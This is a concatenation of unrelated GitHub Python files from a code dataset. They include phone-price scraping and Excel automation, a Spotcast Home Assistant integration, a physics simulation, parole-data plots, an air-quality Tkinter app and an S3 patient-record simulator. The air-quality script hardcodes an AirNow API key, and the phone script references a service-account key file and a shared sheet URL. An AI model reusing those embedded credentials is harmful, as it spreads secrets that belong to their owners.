set_tong = f\"&it_shop_memo={ws.cells(2+plusCount,3).Value}\"\n linkText = linkText + set_tong\n \n set_theme = f\"&it_skin={ws.cells(2+plusCount,4).Value}\"\n linkText = linkText + set_theme\n # sk_item_list = f\"?sk_item_list={ws.cells(2+plusCount,2)}\"\n \n sc = 5\n for k in range(3):\n for i in range(9):\n nc = sc + i\n if ws.cells(bc,nc).Value is not None:\n linkText = linkText + f\"&{ws.cells(1,nc).Value}={ws.cells(bc,nc).Value}\"\n sc = sc + 9\n # pg.alert(linkText)\n \n with open(\"./etc/create_link.txt\", \"a\") as f:\n f.write(f'{linkText}\\n\\n')\n plusCount += 1\n \n \n \n pg.alert('종료합니다!!')\n excel.Quit()\n \n \ndef gogoScript(getDict):\n \n\n workCreate = openpyxl.load_workbook('./etc/create_link.xlsx')\n sheet = workCreate.get_sheet_by_name('Sheet1')\n if getDict['getTong'] == 0:\n setTong = 'SK'\n exCount = 6\n elif getDict['getTong'] == 1:\n setTong = 'KT'\n exCount = 15\n else:\n setTong = 'LG'\n exCount = 24\n \n # with open(\"./result_image/0result.txt\", \"w\") as f:\n # f.write(\"start~~~~\\n\")\n \n \n # 스프레드 시트 열기\n json_file_name = 'ecstatic-magpie-310310-5c58a2ab08ef.json'\n gc = gspread.service_account(filename=json_file_name)\n \n doc = gc.open_by_url('https://docs.google.com/spreadsheets/d/1gWxGWnVPMBN6qDrHglE75Qn5j2Fq9sixEX14mW8qsMo/edit?usp=sharing')\n workSheet = doc.worksheet(setTong)\n \n if not getDict['getLine']:\n basicCount = 0\n else:\n basicCount = int(getDict['getLine'])\n \n # yogInfoList = workSheet.range(f'B1:H3')\n # yogNameList = getArr(yogInfoList, 0)\n # yogFeeList = getArr(yogInfoList, 7)\n # yogDataList = getArr(yogInfoList, 14)\n \n # yogShalList = []\n # for i, val in enumerate(yogFeeList):\n # sHalVal = math.ceil(val * 0.25) * -1\n # yogShalList.append(sHalVal)\n\n \n while True:\n basicCount += 1\n tempVal = workSheet.acell(f'A{basicCount}').value\n if tempVal == 'STOP':\n pg.alert('작업이 완료 되었습니다!')\n break\n if tempVal is not None:\n if '갤럭시' in tempVal or '아이폰' in tempVal:\n deviceName = tempVal\n \n if setTong == 'SK':\n all_list = workSheet.range(f'B{basicCount}:H{basicCount+10}')\n capa_list = getArr(all_list, 0, 'ok')\n fPrice_list = getArr(all_list, 7, 'ok')\n gongsi_list = getArr(all_list, 14) \n mnp_ghal_list = getArr(all_list, 42)\n mnp_shal_list = getArr(all_list, 49)\n gib_ghal_list = getArr(all_list, 56)\n gib_shal_list = getArr(all_list, 63)\n else:\n all_list = workSheet.range(f'B{basicCount}:H{basicCount+9}')\n capa_list = getArr(all_list, 0, 'ok')\n fPrice_list = getArr(all_list, 7, 'ok')\n gongsi_list = getArr(all_list, 14) \n mnp_ghal_list = getArr(all_list, 35)\n mnp_shal_list = getArr(all_list, 42)\n gib_ghal_list = getArr(all_list, 49)\n gib_shal_list = getArr(all_list, 56)\n \n for val in fPrice_list:\n exCount += 1\n getItemInfo = f\"{val}|{','.join(str(_) for _ in gongsi_list)}|{','.join(str(_) for _ in gib_ghal_list)}|{','.join(str(_) for _ in gib_shal_list)}|{','.join(str(_) for _ in mnp_ghal_list)}|{','.join(str(_) for _ in mnp_shal_list)}\"\n \n sheet.cell(2,exCount).value = getItemInfo\n \n workCreate.save('./etc/create_link.xlsx')\n\n\n\n# ******************************************************** 계산기 기준!!!!!\n\n\ndef calculScript(getDict):\n \n goTongArr = getDict['goTong'].split(',')\n getLineArr = getDict['getLine'].split(',')\n \n with open(\"./etc/min_price.txt\", \"w\") as f:\n f.write(\"start~~~~\\n\")\n \n try:\n int(getLineArr[0])\n except:\n pg.alert('라인을 입력해주세요! 종료합니다!')\n return\n \n # 추후 중저가폰 할때 정하기\n highendDevice = \",0,4,5,5\"\n # LogDevice = \n # kidsDevice = \n \n # 엑셀 열기\n workCreate = openpyxl.load_workbook('./etc/create_calcul_link.xlsx')\n sheet = workCreate.get_sheet_by_name('Sheet1')\n \n \n for ii in range(30):\n if ii == 0:\n continue\n sheet.cell(2, ii).value = \"\"\n \n \n \n # 스프레드 시트 열기\n json_file_name = 'ecstatic-magpie-310310-5c58a2ab08ef.json'\n gc = gspread.service_account(filename=json_file_name)\n \n doc = gc.open_by_url('https://docs.google.com/spreadsheets/d/1gWxGWnVPMBN6qDrHglE75Qn5j2Fq9sixEX14mW8qsMo/edit?usp=sharing')\n \n for idx, nowTong in enumerate(goTongArr):\n workSheet = doc.worksheet(nowTong)\n basicCount = int(getLineArr[idx])\n \n \n while True:\n basicCount += 1\n tempVal = workSheet.acell(f'A{basicCount}').value\n if tempVal is not None:\n if '갤럭시' in tempVal or '아이폰' in tempVal:\n deviceName = tempVal\n \n if nowTong == 'SK':\n all_list = workSheet.range(f'B{basicCount}:H{basicCount+13}')\n capa_list = getArrToStr(all_list, 0, 'ok')\n fPrice_list = getArrToStr(all_list, 7, 'ok')\n gongsi_list = getArrToStr(all_list, 14)\n mnp_ghal_list = getArrToStr(all_list, 42)\n mnp_shal_list = getArrToStr(all_list, 49) \n gib_ghal_list = getArrToStr(all_list, 56)\n gib_shal_list = getArrToStr(all_list, 63)\n \n sheet.cell(2,5).value = fPrice_list\n sheet.cell(2,6).value = capa_list\n sheet.cell(2,7).value = gongsi_list\n sheet.cell(2,8).value = mnp_ghal_list\n sheet.cell(2,9).value = mnp_shal_list\n sheet.cell(2,10).value = gib_ghal_list\n sheet.cell(2,11).value = gib_shal_list\n workCreate.save('./etc/create_calcul_link.xlsx')\n priceList1 = getArr(all_list, 70)\n priceList2 = getArr(all_list, 77)\n priceList3 = getArr(all_list, 84)\n priceList4 = getArr(all_list, 91)\n \n price_list = priceList1 + priceList2 + priceList3 + priceList4\n minPrice = min(price_list)\n with open(\"./etc/min_price.txt\", \"a\") as f:\n f.write(f\"SK 최저가 : \\n{minPrice}\\n\")\n elif nowTong == 'KT':\n all_list = workSheet.range(f'B{basicCount}:I{basicCount+12}')\n capa_list = getArrToStr(all_list, 0, 'ok')\n fPrice_list = getArrToStr(all_list, 8, 'ok')\n gongsi_list = getArrToStr(all_list, 16,'','KT')\n mnp_ghal_list = getArrToStr(all_list, 40,'','KT')\n mnp_shal_list = getArrToStr(all_list, 48,'','KT')\n gib_ghal_list = getArrToStr(all_list, 56,'','KT')\n gib_shal_list = getArrToStr(all_list, 64,'','KT')\n \n sheet.cell(2,12).value = fPrice_list\n sheet.cell(2,13).value = capa_list\n sheet.cell(2,14).value = gongsi_list\n sheet.cell(2,15).value = mnp_ghal_list\n sheet.cell(2,16).value = mnp_shal_list\n sheet.cell(2,17).value = gib_ghal_list\n sheet.cell(2,18).value = gib_shal_list\n workCreate.save('./etc/create_calcul_link.xlsx')\n \n priceList1 = getArr(all_list, 72)\n priceList2 = getArr(all_list, 80)\n priceList3 = getArr(all_list, 88)\n priceList4 = getArr(all_list, 96)\n \n price_list = priceList1 + priceList2 + priceList3 + priceList4\n minPrice = min(price_list)\n with open(\"./etc/min_price.txt\", \"a\") as f:\n f.write(f\"KT 최저가 : \\n{minPrice}\\n\")\n \n else:\n all_list = workSheet.range(f'B{basicCount}:H{basicCount+12}')\n capa_list = getArrToStr(all_list, 0, 'ok')\n fPrice_list = getArrToStr(all_list, 7, 'ok')\n gongsi_list = getArrToStr(all_list, 14)\n \n mnp_ghal_list = getArrToStr(all_list, 35)\n mnp_shal_list = getArrToStr(all_list, 42)\n \n gib_ghal_list = getArrToStr(all_list, 49)\n gib_shal_list = getArrToStr(all_list, 56)\n \n priceList1 = getArr(all_list, 63)\n priceList2 = getArr(all_list, 70)\n priceList3 = getArr(all_list, 77)\n priceList4 = getArr(all_list, 84)\n \n sheet.cell(2,19).value = fPrice_list\n sheet.cell(2,20).value = capa_list\n sheet.cell(2,21).value = gongsi_list\n sheet.cell(2,22).value = mnp_ghal_list\n sheet.cell(2,23).value = mnp_shal_list\n sheet.cell(2,24).value = gib_ghal_list\n sheet.cell(2,25).value = gib_shal_list\n workCreate.save('./etc/create_calcul_link.xlsx')\n price_list = priceList1 + priceList2 + priceList3 + priceList4\n \n minPrice = min(price_list)\n with open(\"./etc/min_price.txt\", \"a\") as f:\n f.write(f\"LG 최저가 : \\n{minPrice}\\n\")\n \n \n \n break\n \n pg.alert('완료 되었습니다!')\n \n \ndef make_link_calcul():\n # 엑셀파일 열기\n\n workCreate = openpyxl.load_workbook('./etc/create_calcul_link.xlsx')\n sheet = workCreate.get_sheet_by_name('Sheet1')\n with open(\"./etc/create_calcul_link.txt\", \"w\") as f:\n f.write('생성시작\\n\\n')\n \n linkText = \"http://ts-phone.com/test/update_calcul.php\"\n onCount = 0\n while True:\n onCount += 1\n nameValue = sheet.cell(1,onCount).value\n valValue = sheet.cell(2,onCount).value\n if nameValue is None:\n break\n \n if onCount == 1:\n addLink = f\"?{nameValue}={valValue}\"\n else:\n addLink = f\"&{nameValue}={valValue}\"\n linkText = linkText + addLink\n \n with open(\"./etc/create_calcul_link.txt\", \"w\") as f:\n f.write(f'{linkText}')\n \n pg.alert('종료합니다!!')\n\n\n\ndef getGongsi(getDict):\n \n\n global driver\n \n service = Service(ChromeDriverManager().install())\n driver = webdriver.Chrome(service=service)\n \n driver.get('http://www.smartchoice.or.kr/smc/mobile/dantongTelList.do')\n \n nowTong = getDict['getTong']\n # 엑셀 열기\n workCreate = openpyxl.load_workbook('./etc/get_gongsi.xlsx')\n sheet = workCreate.get_sheet_by_name(nowTong)\n # sheet.cell(2,11).value\n \n getCount = 1\n while True:\n preResult = ''\n getCount += 1\n pServiceName = sheet.cell(getCount,1).value\n if pServiceName is None:\n pg.alert('완료 되었습니다!')\n driver.quit()\n break\n dMauName = sheet.cell(getCount,2).value\n deviceName = sheet.cell(getCount,3).value\n \n danCompany = Select(driver.find_element(by=By.CSS_SELECTOR, value='#dan_Company'))\n danCompany.select_by_visible_text(nowTong)\n if nowTong == 'LG U+':\n findTong = 'LGU'\n else:\n findTong = nowTong\n \n time.sleep(1.5)\n \n \n planService = Select(driver.find_element(by=By.CSS_SELECTOR, value=f'#plan{findTong}Service'))\n planService.select_by_visible_text(pServiceName)\n time.sleep(1.5)\n \n danMau = Select(driver.find_element(by=By.CSS_SELECTOR, value=f'#dan_Mau'))\n danMau.select_by_visible_text(dMauName)\n time.sleep(1.5)\n \n while True:\n try:\n danMau = Select(driver.find_element(by=By.CSS_SELECTOR, value=f'#productName'))\n danMau.select_by_visible_text(deviceName)\n time.sleep(1)\n break\n except:\n pass\n \n yogCount = 3\n while True:\n yogCount += 1\n yogName = sheet.cell(1,yogCount).value\n if yogName == '' or yogName is None:\n break\n \n \n yogSel = Select(driver.find_element(by=By.CSS_SELECTOR, value=f'#dan_Plan_Code'))\n yogSel.select_by_visible_text(yogName)\n \n serch_btn = driver.find_element(by=By.CSS_SELECTOR, value=f'.btn_wrap.item2 .h_btn_blue')\n serch_btn.click()\n \n while True:\n time.sleep(1)\n try:\n resultTable = driver.find_element(by=By.CSS_SELECTOR, value=f'.danSEH')\n if resultTable:\n break\n except:\n pass\n \n tdList = resultTable.find_elements(by=By.CSS_SELECTOR, value=f'td')\n getGongsiVal = re.sub(r\"[^0-9]\", \"\", tdList[4].text)\n \n sheet.cell(getCount,yogCount).value = getGongsiVal\n workCreate.save('./etc/get_gongsi.xlsx')\n time.sleep(2)\n \n \n \n \n \n \n \n \n \n \n \n \n\n\n\n\n\n\n \ndef getArr(setList, setNum, ok=''):\n temp_list = setList[setNum:setNum+7]\n temp_arr = []\n for val in temp_list:\n if not val.value:\n if ok:\n continue\n else:\n temp_arr.append(0)\n else:\n try:\n setVal = int(val.value)\n except:\n setVal = val.value\n temp_arr.append(setVal)\n return temp_arr\n\ndef getArrToStr(setList, setNum, ok='', tong=''):\n \n if tong == 'KT':\n temp_list = setList[setNum:setNum+8]\n else:\n temp_list = setList[setNum:setNum+7]\n temp_arr = []\n for val in temp_list:\n if not val.value:\n if ok:\n continue\n else:\n temp_arr.append(0)\n else:\n try:\n setVal = int(val.value)\n except:\n setVal = val.value\n temp_arr.append(setVal)\n \n temp_str = ','.join(str(_) for _ in temp_arr)\n return temp_str\n \ndef setBasicTable(ex, list, scount, gcount = ''):\n startCount = 7\n for i, val in enumerate(list):\n ex.cells(startCount+i,scount).Value = val\n if gcount:\n ex.cells(startCount+i,gcount).Value = val\n ","repo_name":"peakchang/py_auto","sub_path":"phone_excel/ongo.py","file_name":"ongo.py","file_ext":"py","file_size_in_byte":26595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2392951425","text":"#p.178 위에서 아래로\n\n#수열의 속해있는 수의 갯수 N\nN = int(input())\n\n#수열을 리스트로 담는다\narr = []\nfor i in range(N):\n arr.append(int(input()))\n\n#내림차순으로 정렬\narr = sorted(arr, reverse=True)\n\nfor i in arr:\n print(i, end=' ')\n","repo_name":"CokeLee777/CodingRepo","sub_path":"python/UPtoDOWN.py","file_name":"UPtoDOWN.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32700218584","text":"\"\"\"\nCreated on Fri Mar 26 17:47:54 2021\n\n@author: Andrea Bassi\n\"\"\"\n\nfrom vpython import scene, vector, arrow, color, sphere, rate, attach_trail, pi, mag\n \nbody = sphere(radius = 0.05)\nbody.color = color.orange \n\nR = 1\n\nbody.velocity = vector(0,0.7,0) # velocità iniziale diretta verso l'alto\nbody.pos = vector(R,0,0)\n\nattach_trail(body)\n\ndt = 0.01\n\n# mostra gli assi x e y\naxis_x = arrow(pos=vector(0,0,0), axis=vector(1,0,0), shaftwidth=0.01) \naxis_y = arrow(pos=vector(0,0,0), axis=vector(0,1,0), shaftwidth=0.01) \n\ntime = 0 \n\nwhile True: \n \n rate(100)\n \n time = time + dt\n \n # calcola la componente centripeta dell'accelerazione (modulo) \n acceleration_C = mag(body.velocity)**2/R # mag calcola il modulo del vettore\n \n # scrivi l'accelarazione come vettore\n acceleration = - acceleration_C * body.pos / R\n \n # calcola il vettore velocità e il vettore posizione\n body.velocity = body.velocity + acceleration *dt\n body.pos = body.pos + body.velocity *dt\n \n # mostra a schermo il valore del tempo, x, y\n scene.caption= (\"t: \"+ str(round(time,2))+\"s\"+ \"\\n\"\n \"x: \"+ str(round(body.pos.x,3)),\"m\",\"\\n\"\n \"y: \"+ str(round(body.pos.y,3)),\"m\")\n \n \n ","repo_name":"fylls/polimi-fisica","sub_path":"Fisica I/simulazioni/1_moto_circolare_con_accelerazione_centripeta.py","file_name":"1_moto_circolare_con_accelerazione_centripeta.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74044207708","text":"\"\"\"main module for spotcast homeassistant utility\"\"\"\n\nfrom __future__ import annotations\n\n__version__ = \"3.7.1\"\n\nimport collections\nimport logging\nimport time\nimport homeassistant\n\nfrom homeassistant.components import websocket_api\nfrom homeassistant.const import CONF_ENTITY_ID, CONF_OFFSET, CONF_REPEAT\nfrom homeassistant.core import callback\nimport homeassistant.core as ha_core\n\nfrom .const import (\n CONF_ACCOUNTS,\n CONF_DEVICE_NAME,\n CONF_FORCE_PLAYBACK,\n CONF_IGNORE_FULLY_PLAYED,\n CONF_RANDOM,\n CONF_SHUFFLE,\n CONF_SP_DC,\n CONF_SP_KEY,\n CONF_SPOTIFY_ACCOUNT,\n CONF_SPOTIFY_DEVICE_ID,\n CONF_SPOTIFY_URI,\n CONF_SPOTIFY_SEARCH,\n CONF_SPOTIFY_CATEGORY,\n CONF_SPOTIFY_COUNTRY,\n CONF_SPOTIFY_LIMIT,\n CONF_START_VOL,\n DOMAIN,\n SCHEMA_PLAYLISTS,\n SCHEMA_WS_ACCOUNTS,\n SCHEMA_WS_CASTDEVICES,\n SCHEMA_WS_DEVICES,\n SCHEMA_WS_PLAYER,\n SERVICE_START_COMMAND_SCHEMA,\n SPOTCAST_CONFIG_SCHEMA,\n WS_TYPE_SPOTCAST_ACCOUNTS,\n WS_TYPE_SPOTCAST_CASTDEVICES,\n WS_TYPE_SPOTCAST_DEVICES,\n WS_TYPE_SPOTCAST_PLAYER,\n WS_TYPE_SPOTCAST_PLAYLISTS,\n)\n\nfrom .helpers import (\n async_wrap,\n get_cast_devices,\n get_spotify_devices,\n get_spotify_install_status,\n get_spotify_media_player,\n is_empty_str,\n get_random_playlist_from_category,\n get_search_results,\n is_valid_uri,\n)\n\nfrom .spotcast_controller import SpotcastController\n\nCONFIG_SCHEMA = SPOTCAST_CONFIG_SCHEMA\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef setup(hass: ha_core.HomeAssistant, config: collections.OrderedDict) -> bool:\n \"\"\"setup method for integration with Home Assistant\n\n Args:\n hass (ha_core.HomeAssistant): the HomeAssistant object of the\n server\n config (collections.OrderedDict): the configuration of the\n server\n\n Returns:\n bool: returns a bollean based on if the setup wroked or not\n \"\"\"\n\n # get spotify core integration status\n # if return false, could indicate a bad spotify integration. Race\n # condition doesn't permit us to abort setup, see #258\n if not get_spotify_install_status(hass):\n _LOGGER.debug(\n \"Spotify integration was not found, please verify integration is \"\n \"functionnal. Could result in python error...\"\n )\n\n # Setup the Spotcast service.\n conf = config[DOMAIN]\n\n sp_dc = conf[CONF_SP_DC]\n sp_key = conf[CONF_SP_KEY]\n accounts = conf.get(CONF_ACCOUNTS)\n\n spotcast_controller = SpotcastController(hass, sp_dc, sp_key, accounts)\n\n if DOMAIN not in hass.data:\n hass.data[DOMAIN] = {}\n hass.data[DOMAIN][\"controller\"] = spotcast_controller\n\n @callback\n def websocket_handle_playlists(hass: ha_core.HomeAssistant, connection, msg):\n @async_wrap\n def get_playlist():\n \"\"\"Handle to get playlist\"\"\"\n playlist_type = msg.get(\"playlist_type\")\n country_code = msg.get(\"country_code\")\n locale = msg.get(\"locale\", \"en\")\n limit = msg.get(\"limit\", 10)\n account = msg.get(\"account\", None)\n\n _LOGGER.debug(\"websocket_handle_playlists msg: %s\", msg)\n resp = spotcast_controller.get_playlists(\n account, playlist_type, country_code, locale, limit\n )\n connection.send_message(websocket_api.result_message(msg[\"id\"], resp))\n\n hass.async_add_job(get_playlist())\n\n @callback\n def websocket_handle_devices(hass: ha_core.HomeAssistant, connection, msg):\n @async_wrap\n def get_devices():\n \"\"\"Handle to get devices. Only for default account\"\"\"\n account = msg.get(\"account\", None)\n client = spotcast_controller.get_spotify_client(account)\n me_resp = client._get(\"me\") # pylint: disable=W0212\n spotify_media_player = get_spotify_media_player(hass, me_resp[\"id\"])\n resp = get_spotify_devices(spotify_media_player)\n connection.send_message(websocket_api.result_message(msg[\"id\"], resp))\n\n hass.async_add_job(get_devices())\n\n @callback\n def websocket_handle_player(hass: ha_core.HomeAssistant, connection, msg):\n @async_wrap\n def get_player():\n \"\"\"Handle to get player\"\"\"\n account = msg.get(\"account\", None)\n _LOGGER.debug(\"websocket_handle_player msg: %s\", msg)\n client = spotcast_controller.get_spotify_client(account)\n resp = client._get(\"me/player\") # pylint: disable=W0212\n connection.send_message(websocket_api.result_message(msg[\"id\"], resp))\n\n hass.async_add_job(get_player())\n\n @callback\n def websocket_handle_accounts(hass: ha_core.HomeAssistant, connection, msg): # pylint: disable=W0613\n \"\"\"Handle to get accounts\"\"\"\n _LOGGER.debug(\"websocket_handle_accounts msg: %s\", msg)\n resp = list(accounts.keys()) if accounts is not None else []\n resp.append(\"default\")\n connection.send_message(websocket_api.result_message(msg[\"id\"], resp))\n\n @callback\n def websocket_handle_castdevices(hass: ha_core.HomeAssistant, connection, msg):\n \"\"\"Handle to get cast devices for debug purposes\"\"\"\n _LOGGER.debug(\"websocket_handle_castdevices msg: %s\", msg)\n\n known_devices = get_cast_devices(hass)\n _LOGGER.debug(\"%s\", known_devices)\n resp = [\n {\n \"uuid\": str(cast_info.cast_info.uuid),\n \"model_name\": cast_info.cast_info.model_name,\n \"friendly_name\": cast_info.cast_info.friendly_name,\n }\n for cast_info in known_devices\n ]\n\n connection.send_message(websocket_api.result_message(msg[\"id\"], resp))\n\n def start_casting(call: ha_core.ServiceCall):\n \"\"\"service called.\"\"\"\n uri = call.data.get(CONF_SPOTIFY_URI)\n category = call.data.get(CONF_SPOTIFY_CATEGORY)\n country = call.data.get(CONF_SPOTIFY_COUNTRY)\n limit = call.data.get(CONF_SPOTIFY_LIMIT)\n search = call.data.get(CONF_SPOTIFY_SEARCH)\n random_song = call.data.get(CONF_RANDOM, False)\n repeat = call.data.get(CONF_REPEAT, False)\n shuffle = call.data.get(CONF_SHUFFLE, False)\n start_volume = call.data.get(CONF_START_VOL)\n spotify_device_id = call.data.get(CONF_SPOTIFY_DEVICE_ID)\n position = call.data.get(CONF_OFFSET)\n force_playback = call.data.get(CONF_FORCE_PLAYBACK)\n account = call.data.get(CONF_SPOTIFY_ACCOUNT)\n ignore_fully_played = call.data.get(CONF_IGNORE_FULLY_PLAYED)\n device_name = call.data.get(CONF_DEVICE_NAME)\n entity_id = call.data.get(CONF_ENTITY_ID)\n\n # if no market information try to get global setting\n if is_empty_str(country):\n try:\n country = config[DOMAIN][CONF_SPOTIFY_COUNTRY]\n except KeyError:\n country = None\n\n client = spotcast_controller.get_spotify_client(account)\n\n # verify the uri provided and clean-up if required\n if not is_empty_str(uri):\n\n # remove ? from badly formatted URI\n uri = uri.split(\"?\")[0]\n\n if not is_valid_uri(uri):\n _LOGGER.error(\"Invalid URI provided, aborting casting\")\n return\n\n # force first two elements of uri to lowercase\n uri = uri.split(\":\")\n uri[0] = uri[0].lower()\n uri[1] = uri[1].lower()\n uri = ':'.join(uri)\n\n # first, rely on spotify id given in config otherwise get one\n if not spotify_device_id:\n spotify_device_id = spotcast_controller.get_spotify_device_id(\n account, spotify_device_id, device_name, entity_id\n )\n\n if is_empty_str(uri) and is_empty_str(search) and is_empty_str(category):\n _LOGGER.debug(\"Transfering playback\")\n current_playback = client.current_playback()\n if current_playback is not None:\n _LOGGER.debug(\"Current_playback from spotify: %s\", current_playback)\n force_playback = True\n _LOGGER.debug(\"Force playback: %s\", force_playback)\n client.transfer_playback(\n device_id=spotify_device_id, force_play=force_playback\n )\n elif category:\n uri = get_random_playlist_from_category(client, category, country, limit)\n\n if uri is None:\n _LOGGER.error(\"No playlist returned. Stop service call\")\n return None\n\n spotcast_controller.play(\n client,\n spotify_device_id,\n uri,\n random_song,\n position,\n ignore_fully_played,\n )\n else:\n\n if is_empty_str(uri):\n # get uri from search request\n uri = get_search_results(search, client, country)\n\n spotcast_controller.play(\n client,\n spotify_device_id,\n uri,\n random_song,\n position,\n ignore_fully_played,\n )\n\n if start_volume <= 100:\n _LOGGER.debug(\"Setting volume to %d\", start_volume)\n time.sleep(2)\n client.volume(volume_percent=start_volume, device_id=spotify_device_id)\n if shuffle:\n _LOGGER.debug(\"Turning shuffle on\")\n time.sleep(3)\n client.shuffle(state=shuffle, device_id=spotify_device_id)\n if repeat:\n _LOGGER.debug(\"Turning repeat on\")\n time.sleep(3)\n client.repeat(state=repeat, device_id=spotify_device_id)\n\n # Register websocket and service\n hass.components.websocket_api.async_register_command(\n WS_TYPE_SPOTCAST_PLAYLISTS, websocket_handle_playlists, SCHEMA_PLAYLISTS\n )\n hass.components.websocket_api.async_register_command(\n WS_TYPE_SPOTCAST_DEVICES, websocket_handle_devices, SCHEMA_WS_DEVICES\n )\n hass.components.websocket_api.async_register_command(\n WS_TYPE_SPOTCAST_PLAYER, websocket_handle_player, SCHEMA_WS_PLAYER\n )\n\n hass.components.websocket_api.async_register_command(\n WS_TYPE_SPOTCAST_ACCOUNTS, websocket_handle_accounts, SCHEMA_WS_ACCOUNTS\n )\n\n hass.components.websocket_api.async_register_command(\n WS_TYPE_SPOTCAST_CASTDEVICES,\n websocket_handle_castdevices,\n SCHEMA_WS_CASTDEVICES,\n )\n\n hass.services.register(\n DOMAIN, \"start\", start_casting, schema=SERVICE_START_COMMAND_SCHEMA\n )\n\n return True\n","repo_name":"fondberg/spotcast","sub_path":"custom_components/spotcast/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10573,"program_lang":"python","lang":"en","doc_type":"code","stars":562,"dataset":"github-code","pt":"11"} +{"seq_id":"37161596948","text":"from tkinter import *\nimport requests\nimport json\n\nroot = Tk()\nroot.title('Air Quality')\nroot.geometry('300x200')\n\ntry:\n\tapi_request = requests.get('https://www.airnowapi.org/aq/observation/latLong/current/?format=application/json&latitude=44.640248&longitude=20.164318&distance=150&API_KEY=780A1A21-FCDC-41EC-8123-586D0525F8BE')\n\tapi = json.loads(api_request.content)\n\tcity = api[0]['ReportingArea']\n\tdate = api[0]['DateObserved']\n\ttime = api[0]['HourObserved']\n\tday = api[0]['LocalTimeZone']\n\tcategory = api[0]['Category']['Name']\n\nexcept Exception as e:\n\tapi = 'Error'\n\nlabel = Label(root, text='' + 'City: ' + city + '\\nDate: ' + date \\\n\t+ '\\nTime: ' + str(time)+'h' + '\\nDay: ' + day + '\\nCategory: ' + category, \\\n\tfont=('Helvetica', 20), background='white')\nlabel.pack()\n\nroot.mainloop()","repo_name":"deki90to/Air_Quality_Bosnia_Json-API-Python","sub_path":"air_quality_sarajevo.py","file_name":"air_quality_sarajevo.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31524543141","text":"from matplotlib import scale\r\nfrom seaborn.categorical import barplot\r\nfrom seaborn.utils import ci\r\nimport statsmodels.api as sm\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport plotly.express as px\r\nimport seaborn as sns\r\nimport plotly.graph_objects as go\r\nsns.set()\r\n\r\ndf = pd.read_csv(\"parole-dataset.csv\")\r\n\r\nindex_values = df[(df['INTERVIEW DECISION'] == '*')].index\r\nindex_values2 = df[(df['INTERVIEW DECISION'] == '**********')].index\r\n\r\ndf.drop(index_values, inplace = True)\r\ndf.drop(index_values2, inplace = True)\r\n\r\ndf['INTERVIEW DECISION'] = df['INTERVIEW DECISION'].replace(['PAROLED', 'GRANTED', 'REINSTATE', 'OR EARLIER', 'OPEN DATE'],'GRANTED')\r\ndf['INTERVIEW DECISION'] = df['INTERVIEW DECISION'].replace(['RCND&HOLD;', 'RCND&RELSE;', 'NOT GRANTD', 'DENIED'],'NOT GRANTED')\r\n\r\ngrouped_data = df.groupby(['RACE / ETHNICITY','INTERVIEW DECISION'])\r\n\r\nx = []\r\ny = []\r\n\r\n#Loop through the grouped data\r\n#The key is the (race/ethnicity, interview decision) pair\r\n#The item contains all rows that fall under that category. We just want a count (specifically, the length of the list)\r\nfor key,item in grouped_data:\r\n x.append(str(key))\r\n y.append(len(item))\r\n\r\nplt.barh(x, y)\r\nplt.ylabel(\"Race & Decision Status\")\r\nplt.xlabel(\"Count\")\r\nplt.show()\r\n\r\ngrouped_data = df.groupby(['SEX','INTERVIEW DECISION'])\r\n\r\nx = []\r\ny = []\r\n\r\n#Loop through the grouped data\r\n#The key is the (sex, interview decision) pair\r\n#The item contains all rows that fall under that category. We just want a count (specifically, the length of the list)\r\nfor key,item in grouped_data:\r\n x.append(str(key))\r\n y.append(len(item))\r\n\r\n\r\nplt.barh(x, y)\r\nplt.ylabel(\"Sex & Decision Status\")\r\nplt.xlabel(\"Count\")\r\nplt.show()\r\n\r\ngrouped_data = df.groupby(['PAROLE BOARD INTERVIEW TYPE','INTERVIEW DECISION'])\r\n\r\nx = []\r\ny = []\r\n\r\n#Loop through the grouped data\r\n#The key is the (interview type, interview decision) pair\r\n#The item contains all rows that fall under that category. We just want a count (specifically, the length of the list)\r\nfor key,item in grouped_data:\r\n x.append(str(key))\r\n y.append(len(item))\r\n\r\n\r\nplt.barh(x, y)\r\nplt.ylabel(\"Interview Type & Decision Status\")\r\nplt.xlabel(\"Count\")\r\nplt.show()","repo_name":"Campagna-Peter/Meaningful-Graphs","sub_path":"Project2/parole.py","file_name":"parole.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"69853255387","text":"from PatientRecord import PatientRecord\nimport csv\nfrom copy import deepcopy\nimport datetime\nimport time\nimport json\nimport boto3\nimport uuid\nimport os\n\n###General Methods###\ndef validate_updates(record):\n entry1 = deepcopy(record.get_entry())\n record.update_entry()\n entry2 = record.get_entry()\n for k, v in entry1.items():\n if v == entry2[k]:\n print(\"Both {} are the same:{}\".format(k,v))\n else:\n print(\"\\n{} are not the same:\\nR1:{}\\nR2:{}\".format(k, v, entry2[k]))\n \n return\n\ndef create_initial_patient_records(n=10):\n records = []\n for i in range(n):\n records.append(PatientRecord())\n return records\n \ndef combine_records(records, object_name):\n record_entries = []\n \n for record in records:\n record_entries.append(record.entry)\n \n col_names = record_entries[0].keys()\n time_stamp_no_spaces = \"-\".join(str(datetime.datetime.now()).split(\" \"))\n time_stamp_no_colon = \"-\".join(time_stamp_no_spaces.split(\":\"))\n filepath = object_name + time_stamp_no_colon + \".json\"\n \n with open(filepath, 'w') as f:\n json.dump(record_entries, f, default=str)\n \n return filepath\n \ndef send_records(records, object_name, bucket_name):\n s3 = boto3.client(\"s3\")\n records_filepath = combine_records(records, object_name)\n \n with open(records_filepath, \"rb\") as f:\n s3.upload_fileobj(f, bucket_name, records_filepath)\n \n os.remove(records_filepath)\n \n return\n\ndef simulate_patient_monitoring(patient_records, object_name=\"OBJECT_NAME\", \nbucket_name='BUCKET_NAME', runtime=600, interval=30):\n \n start_time = time.time()\n interval_time = time.time()\n elapsed_time = 0\n \n while(elapsed_time < runtime):\n for record in patient_records:\n 